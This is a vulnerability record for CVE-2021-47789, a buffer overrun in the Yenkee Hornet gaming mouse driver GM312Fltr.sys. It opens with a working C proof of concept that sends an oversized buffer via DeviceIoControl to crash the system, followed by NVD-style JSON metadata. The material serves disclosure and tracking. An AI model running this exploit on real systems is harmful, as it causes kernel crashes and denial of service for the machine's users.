CVE-2021-47789

#include <windows.h> #include <stdio.h> int main() { HANDLE hDevice; DWORD bytesReturned; DWORD bufferSize = 2000; PBYTE buffer = (PBYTE)malloc(bufferSize); // Fill buffer with pattern memset(buffer, 0x41, bufferSize); // Open device handle hDevice = CreateFileA("\\\\.\\GM312Fltr", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return -1; } printf("[+] Device handle opened successfully\n"); printf("[+] Sending %d byte buffer to trigger overflow...\n", bufferSize); // Send malicious input to trigger buffer overflow BOOL result = DeviceIoControl(hDevice, 0xdeadbeef, // IOCTL code buffer, bufferSize, NULL, 0, &bytesReturned, NULL); if (!result) { printf("[+] Overflow triggered! System should crash.\n"); } CloseHandle(hDevice); free(buffer); return 0; }

{"cve": {"id": "CVE-2021-47789", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:22.450", "lastModified": "2026-01-30T01:01:23.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Yenkee Hornet Gaming Mouse driver GM312Fltr.sys contains a buffer overrun vulnerability that allows attackers to crash the system by sending oversized input. Attackers can exploit the driver by sending a 2000-byte buffer through DeviceIoControl to trigger a kernel-level system crash."}, {"lang": "es", "value": "El controlador GM312Fltr.sys del ratón para juegos Yenkee Hornet contiene una vulnerabilidad de desbordamiento de búfer que permite a los atacantes bloquear el sistema enviando una entrada de tamaño excesivo. Los atacantes pueden explotar el controlador enviando un búfer de 2000 bytes a través de DeviceIoControl para desencadenar un bloqueo del sistema a nivel de kernel."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:yenkee:yms_3029_firmware:*:*:*:*:*:*:*:*", "matchCriteriaId": "FCDA6459-6C1E-411E-87AC-06B295E37C71"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:yenkee:yms_3029:-:*:*:*:*:*:*:*", "matchCriteriaId": "E48809B8-44AA-45AA-89D8-5E3D2293DF69"}]}]}], "references": [{"url": "https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/GM312Fltr", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.exploit-db.com/exploits/50311", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/yenkee-hornet-gaming-mouse-gmfltrsys-denial-of-service-poc", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.yenkee.eu/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50311", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}